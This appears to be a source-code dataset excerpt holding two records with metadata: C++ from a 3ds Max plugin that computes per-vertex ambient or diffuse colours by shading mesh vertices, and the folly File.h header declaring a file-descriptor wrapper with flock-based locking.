//*************************************************************************** // Calculate ambient or diffuse color at each vertex. // Pass in TRUE as the "diffuse" parameter to calculate the diffuse color. // If FALSE is passed in, ambient color is calculated. //*************************************************************************** BOOL calcMixedVertexColors(INode* node, TimeValue t, int lightModel, ColorTab& vxColTab, EvalColProgressCallback* fn) { ObjectState ostate; BOOL deleteTri; Mesh* mesh; SContext sc; DefaultLight dl1, dl2; MtlBaseLib mtls; Matrix3 tm; sc.SetNodeAndTime(node, t); tm = sc.tmAfterWSM; TriObject* tri = GetTriObjectFromNode(node, t, deleteTri); // We will only work on GeomObjects if (!tri) { return FALSE; } // Get the mesh from the object mesh = &tri->GetMesh(); if (!mesh) { return FALSE; } // If the node doesn't have a material attached, // we create a dummy material. Mtl* mtl = node->GetMtl(); if (!mtl) { mtl = new DumMtl(node->GetWireColor()); } mesh->buildRenderNormals(); vxColTab.ZeroCount(); vxColTab.Shrink(); sc.SetMesh(mesh); sc.CalcBoundObj(); // Add the material to the list mtls.AddMtl(mtl); // Setup ambient light if (lightModel == LIGHT_AMBIENT) { sc.SetAmbientLight(Color(1.0f, 1.0f, 1.0f)); } else { sc.SetAmbientLight(Color(0.0f, 0.0f, 0.0f)); } // If we're using the real lights, we need to find them first if (lightModel == LIGHT_SCENELIGHT) { AddSceneLights(&sc, &mtls); // Add default lights if there are no lights in the scene if (sc.lightTab.Count() == 0) { dl1.ls.intens = 1.0f; dl1.ls.color = Color(0.8f, 0.8f, 0.8f); dl1.ls.type = OMNI_LGT; dl1.tm = TransMatrix(1000.0f * Point3(-900.0f, -1000.0f, 1500.0f)); dl2.ls.intens = 1.0f; dl2.ls.color = Color(0.8f, 0.8f, 0.8f); dl2.ls.type = OMNI_LGT; dl2.tm = TransMatrix(-1000.0f * Point3(-900.0f, -1000.0f, 1500.0f)); sc.AddLight(new LightInfo(&dl1)); sc.AddLight(new LightInfo(&dl2)); } sc.SetAmbientLight(GetCOREInterface()->GetAmbient(t, FOREVER)); } sc.UpdateLights(); // Update material mtl->Update(t, FOREVER); int numVerts = mesh->numVerts; for (unsigned int v = 0; v < (unsigned)numVerts; v++) { if (fn) { if (fn->progress(float(v)/float(numVerts))) { if (deleteTri) { delete tri; } mtls.Empty(); if (mtl->ClassID() == DUMMTL_CLASS_ID) { delete mtl; } // What to return here is up for discussion. // 1) We are aborting so FALSE might be in order. // 2) We have calculated some colors. Let's use what we've got so far. return TRUE; } } // Create a new entry Color* vxCol = new Color; Point3 tmpCol(0.0f, 0.0f, 0.0f); int numShades = 0; BitArray faceList; faceList.SetSize(mesh->numFaces, 0); // Get vertex normal // We also pass in a BitArray that will be filled in with // to inform us to which faces this vertex belongs. // We could do this manually, but we need to do it to get // the vertex normal anyway so this is done to speed things // up a bit. Point3 vxNormal = interpVertexNormal(mesh, tm, v, faceList); Point3 viewDir = -vxNormal; Point3 viewPoint = tm*mesh->verts[v] + 5.0f*vxNormal; Point3 lightPos = viewPoint; Point3 viewTarget = tm*mesh->verts[v]; // We now have a viewpoint and a view target. // Now we just have to shade this point on the mesh in order // to get it's color. // Note: // Since materials are assigned on Face basis we need to render each // vertex as many times as it has connecting faces. // the colors collected are mixed to get the resulting // color at each vertex. for (int nf = 0; nf < faceList.GetSize(); nf++) { if (faceList[nf]) { // render vertex for this face. sc.SetViewPoint(viewPoint); sc.SetTargetPoint(viewTarget); sc.SetViewDir(viewDir); sc.SetFaceNum(nf); Face* f = &mesh->faces[nf]; sc.SetMtlNum(f->getMatID()); sc.CalcNormals(); // Setup the barycentric coordinate if (mesh->faces[nf].v[0] == v) sc.SetBaryCoord(Point3(1.0f, 0.0f, 0.0f)); else if (mesh->faces[nf].v[1] == v) sc.SetBaryCoord(Point3(0.0f, 1.0f, 0.0f)); else if (mesh->faces[nf].v[2] == v) sc.SetBaryCoord(Point3(0.0f, 0.0f, 1.0f)); // Use diffuse color instead of ambient // The only difference is that we create a special light // located at the viewpoint and we set the ambient light to black. if (lightModel == LIGHT_DIFFUSE) { dl1.ls.intens = 1.0f; dl1.ls.color = Color(0.8f, 0.8f, 0.8f); dl1.ls.type = OMNI_LGT; dl1.tm = TransMatrix(lightPos); sc.ClearLights(); sc.AddLight(new LightInfo(&dl1)); sc.UpdateLights(); } // Shade the vertex mtl->Shade(sc); tmpCol.x += sc.out.c.r; tmpCol.y += sc.out.c.g; tmpCol.z += sc.out.c.b; numShades++; } } // The color mixes. We just add the colors together and // then divide with as many colors as we added. if (numShades > 0) { tmpCol = tmpCol / (float)numShades; } vxCol->r = tmpCol.x; vxCol->g = tmpCol.y; vxCol->b = tmpCol.z; vxCol->ClampMinMax(); // Append the Color to the table. If the array needs // to be realloc'ed, allocate extra space for 100 points. vxColTab.Append(1, &vxCol, 100); } // Some objects gives us a temporary mesh that we need to delete afterwards. if (deleteTri) { delete tri; } mtls.Empty(); if (mtl->ClassID() == DUMMTL_CLASS_ID) { delete mtl; } return TRUE; } // Since vertices might have different normals depending on the face // you are accessing it through, we get the normal for each face that // connects to this vertex and interpolate these normals to get a single // vertex normal fairly perpendicular to the mesh at the point of // this vertex. Point3 interpVertexNormal(Mesh* mesh, Matrix3 tm, unsigned int vxNo, BitArray& faceList) { Point3 iNormal = Point3(0.0f, 0.0f, 0.0f); int numNormals = 0; for (int f = 0; f < mesh->numFaces; f++) { for (int fi = 0; fi < 3; fi++) { if (mesh->faces[f].v[fi] == vxNo) { Point3& fn = VectorTransform(tm, mesh->getFaceNormal(f)); iNormal += fn; numNormals++; faceList.Set(f); } } } iNormal = iNormal / (float)numNormals; return Normalize(iNormal); } //*************************************************************************** // LightInfo encapsulates the light descriptor for standard and default lights //*************************************************************************** LightInfo::LightInfo(INode* node, MtlBaseLib* mtls) { ObjectState ostate = node->EvalWorldState(0); light = (LightObject*)ostate.obj; lightDesc = light->CreateLightDesc(node); // Process projector maps GetMaps getmaps(mtls); EnumRefs(light,getmaps); } LightInfo::LightInfo(DefaultLight* l) { lightDesc = new DefObjLight(l); light = NULL; } LightInfo::~LightInfo() { if (lightDesc) { delete lightDesc; } } //*************************************************************************** // Light Descriptor for the diffuse light we use //*************************************************************************** DefObjLight::DefObjLight(DefaultLight *l) : ObjLightDesc(NULL) { inode = NULL; ls = l->ls; lightToWorld = l->tm; worldToLight = Inverse(lightToWorld); } //*************************************************************************** // Update //*************************************************************************** int DefObjLight::Update(TimeValue t, const RendContext& rc, RenderGlobalContext *rgc, BOOL shadows, BOOL shadowGeomChanged) { intensCol = ls.intens*ls.color; return 1; } //*************************************************************************** // Update viewdependent parameters //*************************************************************************** int DefObjLight::UpdateViewDepParams(const Matrix3& worldToCam) { lightToCam = lightToWorld * worldToCam; camToLight = Inverse(lightToCam); lightPos = lightToCam.GetRow(3); // light pos in camera space return 1; } //*************************************************************************** // Illuminate method for default lights // This is a special illumination method in order to evaluate diffuse color // only, with no specular etc. //*************************************************************************** BOOL DefObjLight::Illuminate(ShadeContext& sc, Point3& normal, Color& color, Point3 &dir, float &dot_nl, float &diffCoef) { dir = Normalize(lightPos-sc.P()); diffCoef = dot_nl = DotProd(normal, dir); color = intensCol; return (dot_nl <= 0.0f) ? 0 : 1; } static inline Point3 pabs(Point3 p) { return Point3(fabs(p.x),fabs(p.y),fabs(p.z)); } // The ShadeContext used to shade a material a a specific point. // This ShadeContext is setup to have full ambient light and no other // lights until you call SetLight(). This will cause the ambient light to // go black. SContext::SContext() { mode = SCMODE_NORMAL; doMaps = TRUE; filterMaps = FALSE; shadow = FALSE; backFace = FALSE; ambientLight = Color(1.0f, 1.0f, 1.0f); mtlNum = 0; nLights = 0; } SContext::~SContext() { ClearLights(); } // When the mesh and face number is specified we calculate // and store the vertex normals void SContext::CalcNormals() { RVertex* rv[3]; Face* f = &mesh->faces[faceNum]; DWORD smGroup = f->smGroup; int numNormals; // Get the vertex normals for (int i = 0; i < 3; i++) { rv[i] = mesh->getRVertPtr(f->getVert(i)); // Is normal specified // SPCIFIED is not currently used, but may be used in future versions. if (rv[i]->rFlags & SPECIFIED_NORMAL) { vxNormals[i] = rv[i]->rn.getNormal(); } // If normal is not specified it's only available if the face belongs // to a smoothing group else if ((numNormals = rv[i]->rFlags & NORCT_MASK) && smGroup) { // If there is only one vertex is found in the rn member. if (numNormals == 1) { vxNormals[i] = rv[i]->rn.getNormal(); } else { // If two or more vertices are there you need to step through them // and find the vertex with the same smoothing group as the current face. // You will find multiple normals in the ern member. for (int j = 0; j < numNormals; j++) { if (rv[i]->ern[j].getSmGroup() & smGroup) { vxNormals[i] = rv[i]->ern[j].getNormal(); } } } } else { vxNormals[i] = mesh->getFaceNormal(faceNum); } } vxNormals[0] = Normalize(VectorTransform(tmAfterWSM, vxNormals[0])); vxNormals[1] = Normalize(VectorTransform(tmAfterWSM, vxNormals[1])); vxNormals[2] = Normalize(VectorTransform(tmAfterWSM, vxNormals[2])); } void SContext::SetBaryCoord(Point3 bary) { baryCoord = bary; } int SContext::ProjType() { return PROJ_PARALLEL; } void SContext::SetNodeAndTime(INode* n, TimeValue tv) { node = n; t = tv; tmAfterWSM = node->GetObjTMAfterWSM(t,NULL); } void SContext::SetFaceNum(int f) { faceNum = f; } void SContext::SetMtlNum(int mNo) { mtlNum = mNo; } void SContext::SetViewPoint(Point3 vp) { viewPoint = vp; } void SContext::SetTargetPoint(Point3 tp) { targetPt = tp; } void SContext::SetViewDir(Point3 vd) { viewDir = vd; } void SContext::SetMesh(Mesh * m) { mesh = m; } void SContext::AddLight(LightInfo* li) { lightTab.Append(1, &li); } void SContext::ClearLights() { for (int i=0; i<lightTab.Count(); i++) { delete lightTab[i]; } lightTab.ZeroCount(); lightTab.Shrink(); nLights = 0; } void SContext::UpdateLights() { for (int i=0; i<lightTab.Count(); i++) { ((LightInfo*)lightTab[i])->lightDesc->Update(t, rc, NULL, FALSE, TRUE); ((LightInfo*)lightTab[i])->lightDesc->UpdateViewDepParams(Matrix3(1)); } nLights = lightTab.Count(); } void SContext::SetAmbientLight(Color c) { ambientLight = c; } void SContext::CalcBoundObj() { if (!mesh) return; boundingObj.Init(); // Include each vertex in the bounding box for (int nf = 0; nf < mesh->numFaces; nf++) { Face* f = &(mesh->faces[nf]); boundingObj += mesh->getVert(f->getVert(0)); boundingObj += mesh->getVert(f->getVert(1)); boundingObj += mesh->getVert(f->getVert(2)); } } // Return current time TimeValue SContext::CurTime() { return t; } int SContext::NodeID() { return -1; } INode* SContext::Node() { return node; } Point3 SContext::BarycentricCoords() { return baryCoord; } int SContext::FaceNumber() { return faceNum; } // Interpolated normal Point3 SContext::Normal() { return Normalize(baryCoord.x*vxNormals[0] + baryCoord.y*vxNormals[1] + baryCoord.z*vxNormals[2]); } // Geometric normal (face normal) Point3 SContext::GNormal(void) { // The face normals are already in camera space return VectorTransform(tmAfterWSM, mesh->getFaceNormal(faceNum)); } // Return a Light descriptor LightDesc *SContext::Light(int lightNo) { return ((LightInfo*)lightTab[lightNo])->lightDesc; } // Return reflection vector at this point. // We do it like this to avoid specular color to show up. Point3 SContext::ReflectVector(void) { return -Normal(); } // Foley & vanDam: Computer Graphics: Principles and Practice, // 2nd Ed. pp 756ff. Point3 SContext::RefractVector(float ior) { Point3 N = Normal(); float VN,nur,k; VN = DotProd(-viewDir,N); if (backFace) nur = ior; else nur = (ior!=0.0f) ? 1.0f/ior: 1.0f; k = 1.0f-nur*nur*(1.0f-VN*VN); if (k<=0.0f) { // Total internal reflection: return ReflectVector(); } else { return (nur*VN-(float)sqrt(k))*N + nur*viewDir; } } Point3 SContext::CamPos(void) { return viewPoint; } // Screen coordinate beeing rendered IPoint2 SContext::ScreenCoord(void) { return IPoint2(0,0); } // Background color void SContext::GetBGColor(class Color &bgCol,class Color &transp,int fogBG) { bgCol = Color(0.0f, 0.0f, 0.0f); transp = Color(0.0f, 0.0f, 0.0f); } // Transforms the specified point from internal camera space to the specified space. Point3 SContext::PointTo(const class Point3 &p, RefFrame ito) { if (ito==REF_OBJECT) { return Inverse(tmAfterWSM) * p; } return p; } // Transforms the specified point from the specified coordinate system // to internal camera space. Point3 SContext::PointFrom(const class Point3 &p, RefFrame ito) { if (ito==REF_OBJECT) { return tmAfterWSM * p; } return p; } // Transform the vector from internal camera space to the specified space. Point3 SContext::VectorTo(const class Point3 &p, RefFrame ito) { if (ito==REF_OBJECT) { return VectorTransform(Inverse(tmAfterWSM), p); } return p; } // Transform the vector from the specified space to internal camera space. Point3 SContext::VectorFrom(const class Point3 &p, RefFrame ito) { if (ito==REF_OBJECT) { return VectorTransform(tmAfterWSM, p); } return p; } // This method returns the unit view vector, from the camera towards P, // in camera space. Point3 SContext::V(void) { return viewDir; } // Returns the point to be shaded in camera space. Point3 SContext::P(void) { return targetPt; } // This returns the derivative of P, relative to the pixel. // This gives the renderer or shader information about how fast the position // is changing relative to the screen. // TBD #define DFACT .1f Point3 SContext::DP(void) { float d = (1.0f+DFACT)*(RayDiam())/(DFACT+(float)fabs(DotProd(Normal(),viewDir))); return Point3(d,d,d); } // Retrieves the point relative to the screen where the lower left // corner is 0,0 and the upper right corner is 1,1. void SContext::ScreenUV(class Point2 &uv,class Point2 &duv) { Point2 p; uv.x = .5f; uv.y = .5f; duv.x = 1.0f; duv.y = 1.0f; } // Bounding box in object coords Box3 SContext::ObjectBox(void) { return boundingObj; } // Returns the point to be shaded relative to the object box where each // component is in the range of -1 to +1. Point3 SContext::PObjRelBox(void) { Point3 q; Point3 p = PObj(); Box3 b = ObjectBox(); q.x = 2.0f*(p.x-b.pmin.x)/(b.pmax.x-b.pmin.x) - 1.0f; q.y = 2.0f*(p.y-b.pmin.y)/(b.pmax.y-b.pmin.y) - 1.0f; q.z = 2.0f*(p.z-b.pmin.z)/(b.pmax.z-b.pmin.z) - 1.0f; return q; } // Returns the derivative of PObjRelBox(). // This is the derivative of the point relative to the object box where // each component is in the range of -1 to +1. Point3 SContext::DPObjRelBox(void) { Box3 b = ObjectBox(); Point3 d = DPObj(); d.x *= 2.0f/(b.pmax.x-b.pmin.x); d.y *= 2.0f/(b.pmax.y-b.pmin.y); d.z *= 2.0f/(b.pmax.z-b.pmin.z); return d; } // Returns the point to be shaded in object coordinates. Point3 SContext::PObj(void) { return Inverse(tmAfterWSM) * P(); } // Returns the derivative of PObj(), relative to the pixel. // TBD Point3 SContext::DPObj(void) { Point3 d = DP(); return VectorTransform(Inverse(tmAfterWSM),d); } // Returns the UVW coordinates for the point. Point3 SContext::UVW(int) { Point3 uvw = Point3(0.0f, 0.0f, 0.0f); UVVert tverts[3]; if (mesh->numTVerts > 0) { TVFace* tvf = &mesh->tvFace[faceNum]; tverts[0] = mesh->tVerts[tvf->getTVert(0)]; tverts[1] = mesh->tVerts[tvf->getTVert(1)]; tverts[2] = mesh->tVerts[tvf->getTVert(2)]; uvw = baryCoord.x*tverts[0] + baryCoord.y*tverts[1] + baryCoord.z*tverts[2]; } return uvw; } static Point3 basic_tva[3] = { Point3(0.0,0.0,0.0),Point3(1.0,0.0,0.0),Point3(1.0,1.0,0.0)}; static Point3 basic_tvb[3] = { Point3(1.0,1.0,0.0),Point3(0.0,1.0,0.0),Point3(0.0,0.0,0.0)}; static int nextpt[3] = {1,2,0}; static int prevpt[3] = {2,0,1}; void MakeFaceUV(Face *f, UVVert *tv) { int na,nhid,i; Point3 *basetv; /* make the invisible edge be 2->0 */ nhid = 2; if (!(f->flags&EDGE_A)) nhid=0; else if (!(f->flags&EDGE_B)) nhid = 1; else if (!(f->flags&EDGE_C)) nhid = 2; na = 2-nhid; basetv = (f->v[prevpt[nhid]]<f->v[nhid]) ? basic_tva : basic_tvb; for (i=0; i<3; i++) { tv[i] = basetv[na]; na = nextpt[na]; } } void SContext::getTVerts(int chan) { if (chan==0&&(node->GetMtl()->Requirements(mtlNum)&MTLREQ_FACEMAP)) { MakeFaceUV(&mesh->faces[faceNum],tv[0]); } else { Mesh* m = mesh; if(chan==0) { UVVert* tverts; TVFace* tvf; tverts = m->tVerts; tvf = m->tvFace; if (tverts==0||tvf==0) return; tvf = &tvf[faceNum]; tv[0][0] = tverts[tvf->t[0]]; tv[0][1] = tverts[tvf->t[1]]; tv[0][2] = tverts[tvf->t[2]]; } else { VertColor *vc; TVFace* tvf; vc = m->vertCol; tvf = m->vcFace; if (vc==0||tvf==0) return; tvf = &tvf[faceNum]; tv[1][0] = vc[tvf->t[0]]; tv[1][1] = vc[tvf->t[1]]; tv[1][2] = vc[tvf->t[2]]; } } } void SContext::getObjVerts() { // TBD } // Returns the UVW derivatives for the point. Point3 SContext::DUVW(int chan) { getTVerts(chan); calc_size_ratio(); return 0.5f*(pabs(tv[chan][1]-tv[chan][0])+pabs(tv[chan][2]-tv[chan][0]))*ratio; } // This returns the bump basis vectors for UVW in camera space. void SContext::DPdUVW(Point3 dP[3], int chan) { getTVerts(chan); calc_size_ratio(); Point3 bv[3]; getObjVerts(); ComputeBumpVectors(tv[chan], obpos, bv); bumpv[chan][0] = Normalize(bv[0]); bumpv[chan][1] = Normalize(bv[1]); bumpv[chan][2] = Normalize(bv[2]); dP[0] = bumpv[chan][0]; dP[1] = bumpv[chan][1]; dP[2] = bumpv[chan][2]; } //-------------------------------------------------------------------- // Computes the average curvature per unit surface distance in the face //-------------------------------------------------------------------- float ComputeFaceCurvature(Point3 *n, Point3 *v, Point3 bc) { Point3 nc = (n[0]+n[1]+n[2])/3.0f; Point3 dn0 = n[0]-nc; Point3 dn1 = n[1]-nc; Point3 dn2 = n[2]-nc; Point3 c = (v[0] + v[1] + v[2]) /3.0f; Point3 v0 = v[0]-c; Point3 v1 = v[1]-c; Point3 v2 = v[2]-c; float d0 = DotProd(dn0,v0)/LengthSquared(v0); float d1 = DotProd(dn1,v1)/LengthSquared(v1); float d2 = DotProd(dn2,v2)/LengthSquared(v2); float ad0 = (float)fabs(d0); float ad1 = (float)fabs(d1); float ad2 = (float)fabs(d2); return (ad0>ad1)? (ad0>ad2?d0:d2): ad1>ad2?d1:d2; } static inline float size_meas(Point3 a, Point3 b, Point3 c) { double d = fabs(b.x-a.x); d += fabs(b.y-a.y); d += fabs(b.z-a.z); d += fabs(c.x-a.x); d += fabs(c.y-a.y); d += fabs(c.z-a.z); return float(d/6.0); } // This is an estimate of how fast the normal is varying. // For example if you are doing enviornment mapping this value may be used to // determine how big an area of the environment to sample. // If the normal is changing very fast a large area must be sampled otherwise // you'll get aliasing. This is an estimate of dN/dsx, dN/dsy put into a // single value. // Signed curvature: float SContext::Curve() { Point3 tpos[3]; Face &f = mesh->faces[faceNum]; tpos[0] = mesh->verts[f.v[0]]; tpos[1] = mesh->verts[f.v[1]]; tpos[2] = mesh->verts[f.v[2]]; float d = ComputeFaceCurvature(vxNormals,tpos,baryCoord); curve = d*RayDiam(); return backFace?-curve:curve; } #define SZFACT 1.5f // Approximate how big fragment is relative to whole face. void SContext::calc_size_ratio() { Point3 dp = DP(); Point3 cv[3]; cv[0] = *mesh->getVertPtr((&mesh->faces[faceNum])->v[0]); cv[1] = *mesh->getVertPtr((&mesh->faces[faceNum])->v[1]); cv[2] = *mesh->getVertPtr((&mesh->faces[faceNum])->v[2]); float d = size_meas(cv[0], cv[1], cv[2]); ratio = SZFACT*(float)fabs(dp.x)/d; } int SContext::InMtlEditor() { return FALSE; } void SContext::SetView(Point3 v) { viewPoint = v; } /**************************************************************************** // Shadow buffer ***************************************************************************/ ShadowBuffer* RContext::NewShadowBuffer() const { return NULL; } ShadowQuadTree* RContext::NewShadowQuadTree() const { return NULL; } Color RContext::GlobalLightLevel() const { return Color(1,1,1); // TBD } /**************************************************************************** // Scan the scene for all lights and add them for the ShadeContext's lightTab ***************************************************************************/ void sceneLightEnum(INode* node, SContext* sc, MtlBaseLib* mtls) { // For each child of this node, we recurse into ourselves // until no more children are found. for (int c = 0; c < node->NumberOfChildren(); c++) { sceneLightEnum(node->GetChildNode(c), sc, mtls); } // Get the ObjectState. // The ObjectState is the structure that flows up the pipeline. // It contains a matrix, a material index, some flags for channels, // and a pointer to the object in the pipeline. ObjectState ostate = node->EvalWorldState(0); if (ostate.obj==NULL) return; // Examine the superclass ID in order to figure out what kind // of object we are dealing with. if (ostate.obj->SuperClassID() == LIGHT_CLASS_ID) { // Get the light object from the ObjectState LightObject *light = (LightObject*)ostate.obj; // Is this light turned on? if (light->GetUseLight()) { // Create a RenderLight and append it to our list of lights // to fix compiler error LightInfo* li = new LightInfo(node, mtls); sc->lightTab.Append(1, &(li)); //sc->lightTab.Append(1, &(new LightInfo(node, mtls))); } } } void AddSceneLights(SContext* sc, MtlBaseLib* mtls) { INode* scene = GetCOREInterface()->GetRootNode(); for (int i=0; i<scene->NumberOfChildren(); i++) { sceneLightEnum(scene->GetChildNode(i), sc, mtls); } } /**************************************************************************** // Material enumerator functions // Before evaluating a material we need to load the maps used by the material // and then tell the material to prepare for evaluation. ***************************************************************************/ class CheckFileNames: public NameEnumCallback { public: NameTab* missingMaps; BitmapInfo bi; CheckFileNames(NameTab* n); void RecordName(TCHAR *name); }; //*************************************************************************** // Class to manage names of missing maps //*************************************************************************** CheckFileNames::CheckFileNames(NameTab* n) { missingMaps = n; } //*************************************************************************** // Add a name to the list if it's not already there //*************************************************************************** void CheckFileNames::RecordName(TCHAR *name) { if (name) { if (name[0]!=0) { if (missingMaps->FindName(name)<0) { missingMaps->AddName(name); } } } } class MtlEnum { public: virtual int proc(MtlBase *m, int subMtlNum) = 0; }; class MapLoadEnum:public MtlEnum { public: TimeValue t; MapLoadEnum(TimeValue time); virtual int proc(MtlBase *m, int subMtlNum); }; //*************************************************************************** // Constructor of map loader //*************************************************************************** MapLoadEnum::MapLoadEnum(TimeValue time) { t = time; } //*************************************************************************** // Map loader enum proc //*************************************************************************** int MapLoadEnum::proc(MtlBase *m, int subMtlNum) { Texmap *tm = (Texmap *)m; tm->LoadMapFiles(t); return 1; } int EnumMaps(MtlBase *mb, int subMtl, MtlEnum &tenum) { if (IsTex(mb)) { if (!tenum.proc(mb,subMtl)) { return 0; } } for (int i=0; i<mb->NumSubTexmaps(); i++) { Texmap *st = mb->GetSubTexmap(i); if (st) { int subm = (mb->IsMultiMtl()&&subMtl<0)?i:subMtl; if (mb->SubTexmapOn(i)) { if (!EnumMaps(st,subm,tenum)) { return 0; } } } } if (IsMtl(mb)) { Mtl *m = (Mtl *)mb; for (i=0; i<m->NumSubMtls(); i++) { Mtl *sm = m->GetSubMtl(i); if (sm) { int subm = (mb->IsMultiMtl()&&subMtl<0)?i:subMtl; if (!EnumMaps(sm,subm,tenum)) { return 0; } } } } return 1; } void EnumRefs(ReferenceMaker *rm, RefEnumProc &proc) { proc.proc(rm); for (int i=0; i<rm->NumRefs(); i++) { ReferenceMaker *srm = rm->GetReference(i); if (srm) { EnumRefs(srm,proc); } } } //*************************************************************************** // Constructor of map enumerator //*************************************************************************** GetMaps::GetMaps(MtlBaseLib *mbl) { mlib = mbl; } //*************************************************************************** // Implementation of the map enumerator //*************************************************************************** void GetMaps::proc(ReferenceMaker *rm) { if (IsTex((MtlBase*)rm)) { mlib->AddMtl((MtlBase *)rm); } } int LoadMapFiles(INode* node, SContext* sc, MtlBaseLib& mtls, TimeValue t) { NameTab mapFiles; CheckFileNames checkNames(&mapFiles); node->EnumAuxFiles(checkNames, FILE_ENUM_MISSING_ONLY | FILE_ENUM_1STSUB_MISSING); // Check the lights for (int i = 0; i < sc->lightTab.Count(); i++) { if (((LightInfo*)sc->lightTab[i])->light != NULL) { ((LightInfo*)sc->lightTab[i])->light->EnumAuxFiles(checkNames, FILE_ENUM_MISSING_ONLY | FILE_ENUM_1STSUB_MISSING); } } if (mapFiles.Count()) { // Error! Missing maps. // not sure how to handle this so we gladly continue. //if (MessageBox(hWnd, "There are missing maps.\nDo you want to render anyway?", "Warning!", MB_YESNO) != IDYES) { // return 0; //} } // Load the maps MapLoadEnum mapload(t); for (i=0; i<mtls.Count(); i++) { EnumMaps(mtls[i],-1, mapload); } return 1; } //*************************************************************************** // This material is used when a node does not have a material assigned. //*************************************************************************** DumMtl::DumMtl(Color c) { diff = c; spec = Color(DUMSPEC,DUMSPEC,DUMSPEC); phongexp = (float)pow(2.0, DUMSHINE*10.0); } void DumMtl::Update(TimeValue t, Interval& valid) { } void DumMtl::Reset() { } Interval DumMtl::Validity(TimeValue t) { return FOREVER; } ParamDlg* DumMtl::CreateParamDlg(HWND hwMtlEdit, IMtlParams *imp) { return NULL; } Color DumMtl::GetAmbient(int mtlNum, BOOL backFace) { return diff; } Color DumMtl::GetDiffuse(int mtlNum, BOOL backFace) { return diff; } Color DumMtl::GetSpecular(int mtlNum, BOOL backFace) { return spec; } float DumMtl::GetShininess(int mtlNum, BOOL backFace) { return 0.0f; } float DumMtl::GetShinStr(int mtlNum, BOOL backFace) { return 0.0f; } float DumMtl::GetXParency(int mtlNum, BOOL backFace) { return 0.0f; } void DumMtl::SetAmbient(Color c, TimeValue t) { } void DumMtl::SetDiffuse(Color c, TimeValue t) { } void DumMtl::SetSpecular(Color c, TimeValue t) { } void DumMtl::SetShininess(float v, TimeValue t) { } Class_ID DumMtl::ClassID() { return DUMMTL_CLASS_ID; } void DumMtl::DeleteThis() { delete this; } RefResult DumMtl::NotifyRefChanged(Interval changeInt, RefTargetHandle hTarget, PartID& partID, RefMessage message) { return REF_SUCCEED; } //*************************************************************************** // Shade method for the dummy material // If a node does not have a material assigned we create // a dummy material that inherits the wireframe color of // the node //*************************************************************************** void DumMtl::Shade(ShadeContext& sc) { Color lightCol; Color diffwk(0.0f,0.0f,0.0f); Color specwk(0.0f,0.0f,0.0f); Point3 N = sc.Normal(); Point3 R = sc.ReflectVector(); LightDesc *l; for (int i = 0; i<sc.nLights; i++) { l = sc.Light(i); register float NL, diffCoef; Point3 L; if (!l->Illuminate(sc, N, lightCol, L, NL, diffCoef)) continue; // diffuse if (l->affectDiffuse) diffwk += diffCoef*lightCol; // specular if (l->affectSpecular) { float c = DotProd(L,R); if (c>0.0f) { c = (float)pow((double)c, (double)phongexp); specwk += c*lightCol*NL; // multiply by NL to SOFTEN } } } sc.out.t = Color(0.0f,0.0f,0.0f); sc.out.c = (.3f*sc.ambientLight + diffwk)*diff + specwk*spec; }
[ "benjamin.barratt@icloud.com" ]
benjamin.barratt@icloud.com
af9e1983daa1c7dbd55aefafcbc02ddfd404cd55
d52d5fdbcd848334c6b7799cad7b3dfd2f1f33e4
/third_party/folly/folly/File.h
2a246d7894454298f7237bc5e47d52689e591a05
[ "Apache-2.0" ]
permissive
zhiliaoniu/toolhub
4109c2a488b3679e291ae83cdac92b52c72bc592
39a3810ac67604e8fa621c69f7ca6df1b35576de
refs/heads/master
2022-12-10T23:17:26.541731
2020-07-18T03:33:48
2020-07-18T03:33:48
125,298,974
1
0
null
null
null
null
UTF-8
C++
false
false
4,127
h
/* * Copyright 2013-present Facebook, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #pragma once #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <string> #include <system_error> #include <folly/ExceptionWrapper.h> #include <folly/Expected.h> #include <folly/Portability.h> #include <folly/Range.h> #include <folly/portability/Unistd.h> namespace folly { /** * A File represents an open file. */ class File { public: /** * Creates an empty File object, for late initialization. */ File() noexcept; /** * Create a File object from an existing file descriptor. * Takes ownership of the file descriptor if ownsFd is true. */ explicit File(int fd, bool ownsFd = false) noexcept; /** * Open and create a file object. Throws on error. * Owns the file descriptor implicitly. */ explicit File(const char* name, int flags = O_RDONLY, mode_t mode = 0666); explicit File( const std::string& name, int flags = O_RDONLY, mode_t mode = 0666); explicit File(StringPiece name, int flags = O_RDONLY, mode_t mode = 0666); /** * All the constructors that are not noexcept can throw std::system_error. * This is a helper method to use folly::Expected to chain a file open event * to something else you want to do with the open fd. */ template <typename... Args> static Expected<File, exception_wrapper> makeFile(Args&&... args) noexcept { try { return File(std::forward<Args>(args)...); } catch (const std::system_error& se) { return makeUnexpected(exception_wrapper(std::current_exception(), se)); } } ~File(); /** * Create and return a temporary, owned file (uses tmpfile()). */ static File temporary(); /** * Return the file descriptor, or -1 if the file was closed. */ int fd() const { return fd_; } /** * Returns 'true' iff the file was successfully opened. */ explicit operator bool() const { return fd_ != -1; } /** * Duplicate file descriptor and return File that owns it. */ File dup() const; /** * If we own the file descriptor, close the file and throw on error. * Otherwise, do nothing. */ void close(); /** * Closes the file (if owned). Returns true on success, false (and sets * errno) on error. */ bool closeNoThrow(); /** * Returns and releases the file descriptor; no longer owned by this File. * Returns -1 if the File object didn't wrap a file. */ int release() noexcept; /** * Swap this File with another. */ void swap(File& other); // movable File(File&&) noexcept; File& operator=(File&&); // FLOCK (INTERPROCESS) LOCKS // // NOTE THAT THESE LOCKS ARE flock() LOCKS. That is, they may only be used // for inter-process synchronization -- an attempt to acquire a second lock // on the same file descriptor from the same process may succeed. Attempting // to acquire a second lock on a different file descriptor for the same file // should fail, but some systems might implement flock() using fcntl() locks, // in which case it will succeed. void lock(); bool try_lock(); void unlock(); void lock_shared(); bool try_lock_shared(); void unlock_shared(); private: void doLock(int op); bool doTryLock(int op); // unique File(const File&) = delete; File& operator=(const File&) = delete; int fd_; bool ownsFd_; }; void swap(File& a, File& b); } // namespace folly
[ "yangshengzhi1@bigo.sg" ]
yangshengzhi1@bigo.sg
3d38322036d69a96a0ff4740cd58750f8746db6f
3482e6df74b3b47854adfe6050c60f7d206ed86b
/c++/mfc/Fensteranpassung/FensteranpassungView.cpp
f6c1cce7754c61101ec98751afab7b26863f3c70
